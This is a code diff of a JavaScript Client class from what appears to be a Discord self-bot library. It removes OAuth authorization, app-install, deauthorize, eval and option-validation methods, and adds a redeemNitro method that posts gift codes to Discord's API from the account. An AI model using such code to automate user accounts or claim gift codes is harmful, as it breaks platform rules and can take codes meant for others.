- * @returns {Promise<any>}
682
- * @example
683
- * client.authorizeURL(`https://discord.com/api/oauth2/authorize?client_id=botID&permissions=8&scope=applications.commands%20bot`, {
684
- guild_id: "guildID",
685
- permissions: "62221393", // your permissions
686
- authorize: true
687
- })
688
- */
689
- authorizeURL(url, options = { authorize: true, permissions: '0' }) {
690
- const pathnameAPI = /\/api\/(v\d{1,2}\/)?oauth2\/authorize/;
691
- const pathnameURL = /\/oauth2\/authorize/;
692
- const url_ = new URL(url);
693
- if (
694
- !['discord.com', 'canary.discord.com', 'ptb.discord.com'].includes(url_.hostname) ||
695
- (!pathnameAPI.test(url_.pathname) && !pathnameURL.test(url_.pathname))
696
- ) {
697
- throw new Error('INVALID_URL', url);
433
+ return guild ?? this.guilds.cache.get(i.guild.id);
698
434
  }
699
- const searchParams = Object.fromEntries(url_.searchParams);
700
- options.permissions = `${Permissions.resolve(searchParams.permissions || options.permissions) || 0}`;
701
- delete searchParams.permissions;
702
- return this.api.oauth2.authorize.post({
703
- query: searchParams,
704
- data: options,
705
- });
706
- }
707
435
 
708
- /**
709
- * Install User Apps
710
- * @param {Snowflake} applicationId Discord Application id
711
- * @returns {Promise<void>}
712
- */
713
- installUserApps(applicationId) {
714
- return this.api
715
- .applications(applicationId)
716
- .public.get({
717
- query: {
718
- with_guild: false,
719
- },
720
- })
721
- .then(rawData => {
722
- const installTypes = rawData.integration_types_config['1'];
723
- if (installTypes) {
724
- return this.api.oauth2.authorize.post({
725
- query: {
726
- client_id: applicationId,
727
- scope: installTypes.oauth2_install_params.scopes.join(' '),
728
- },
729
- data: {
730
- permissions: '0',
731
- authorize: true,
732
- integration_type: 1,
733
- },
734
- });
735
- } else {
736
- return false;
737
- }
738
- });
436
+ // Cas DM / Group DM
437
+ return this.channels.cache.get(i.channel?.id ?? data.channel?.id) ?? null;
739
438
  }
740
439
 
741
- /**
742
- * Deauthorize an application.
743
- * @param {Snowflake} applicationId Discord Application id
744
- * @returns {Promise<void>}
745
- */
746
- deauthorize(applicationId) {
747
- return this.api.oauth2.tokens
748
- .get()
749
- .then(data => data.find(o => o.application.id == applicationId))
750
- .then(o => this.api.oauth2.tokens(o.id).delete());
751
- }
752
-
753
- /**
754
- * Calls {@link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval} on a script
755
- * with the client as `this`.
756
- * @param {string} script Script to eval
757
- * @returns {*}
758
- * @private
759
- */
760
- _eval(script) {
761
- return eval(script);
762
- }
440
+ async redeemNitro(nitro, gift = true) {
441
+ const code = DataResolver.resolveNitroCode(nitro);
442
+ if (!code) throw new Error('NITRO_RESOLVE_CODE');
763
443
 
764
- /**
765
- * Validates the client options.
766
- * @param {ClientOptions} [options=this.options] Options to validate
767
- * @private
768
- */
769
- _validateOptions(options = this.options) {
770
- if (typeof options.makeCache !== 'function') {
771
- throw new TypeError('CLIENT_INVALID_OPTION', 'makeCache', 'a function');
772
- }
773
- if (typeof options.messageCacheLifetime !== 'number' || isNaN(options.messageCacheLifetime)) {
774
- throw new TypeError('CLIENT_INVALID_OPTION', 'The messageCacheLifetime', 'a number');
775
- }
776
- if (typeof options.messageSweepInterval !== 'number' || isNaN(options.messageSweepInterval)) {
777
- throw new TypeError('CLIENT_INVALID_OPTION', 'messageSweepInterval', 'a number');
778
- }
779
- if (typeof options.sweepers !== 'object' || options.sweepers === null) {
780
- throw new TypeError('CLIENT_INVALID_OPTION', 'sweepers', 'an object');
781
- }
782
- if (typeof options.invalidRequestWarningInterval !== 'number' || isNaN(options.invalidRequestWarningInterval)) {
783
- throw new TypeError('CLIENT_INVALID_OPTION', 'invalidRequestWarningInterval', 'a number');
784
- }
785
- if (!Array.isArray(options.partials)) {
786
- throw new TypeError('CLIENT_INVALID_OPTION', 'partials', 'an Array');
787
- }
788
- if (typeof options.DMChannelVoiceStatusSync !== 'number' || isNaN(options.DMChannelVoiceStatusSync)) {
789
- throw new TypeError('CLIENT_INVALID_OPTION', 'DMChannelVoiceStatusSync', 'a number');
790
- }
791
- if (typeof options.waitGuildTimeout !== 'number' || isNaN(options.waitGuildTimeout)) {
792
- throw new TypeError('CLIENT_INVALID_OPTION', 'waitGuildTimeout', 'a number');
793
- }
794
- if (typeof options.restWsBridgeTimeout !== 'number' || isNaN(options.restWsBridgeTimeout)) {
795
- throw new TypeError('CLIENT_INVALID_OPTION', 'restWsBridgeTimeout', 'a number');
796
- }
797
- if (typeof options.restRequestTimeout !== 'number' || isNaN(options.restRequestTimeout)) {
798
- throw new TypeError('CLIENT_INVALID_OPTION', 'restRequestTimeout', 'a number');
799
- }
800
- if (typeof options.restGlobalRateLimit !== 'number' || isNaN(options.restGlobalRateLimit)) {
801
- throw new TypeError('CLIENT_INVALID_OPTION', 'restGlobalRateLimit', 'a number');
802
- }
803
- if (typeof options.restSweepInterval !== 'number' || isNaN(options.restSweepInterval)) {
804
- throw new TypeError('CLIENT_INVALID_OPTION', 'restSweepInterval', 'a number');
805
- }
806
- if (typeof options.retryLimit !== 'number' || isNaN(options.retryLimit)) {
807
- throw new TypeError('CLIENT_INVALID_OPTION', 'retryLimit', 'a number');
808
- }
809
- if (typeof options.failIfNotExists !== 'boolean') {
810
- throw new TypeError('CLIENT_INVALID_OPTION', 'failIfNotExists', 'a boolean');
811
- }
812
- if (
813
- typeof options.rejectOnRateLimit !== 'undefined' &&
814
- !(typeof options.rejectOnRateLimit === 'function' || Array.isArray(options.rejectOnRateLimit))
815
- ) {
816
- throw new TypeError('CLIENT_INVALID_OPTION', 'rejectOnRateLimit', 'an array or a function');
444
+ if (gift) {
445
+ await this.api['entitlements/gift-codes'](code).post();
446
+ this.emit(Events.DEBUG, `[Nitro] Redeemed gift code: ${code}`);
447
+ } else {
448
+ await this.api['entitlements/codes'].post({ data: { code } });
449
+ this.emit(Events.DEBUG, `[Nitro] Redeemed code: ${code}`);
817
450
  }
818
- // Hardcode
819
- this.options.shardCount = 1;
820
- this.options.shards = [0];
821
- this.options.intents = Intents.ALL;
822
451
  }
823
452
  }
824
453
 
825
- module.exports = Client;
826
-
827
- /**
828
- * Emitted for general warnings.
829
- * @event Client#warn
830
- * @param {string} info The warning
831
- */
832
-
833
- /**
834
- * @external Collection
835
- * @see {@link https://discord.js.org/docs/packages/collection/stable/Collection:Class}
836
- */
454
+ module.exports = Client;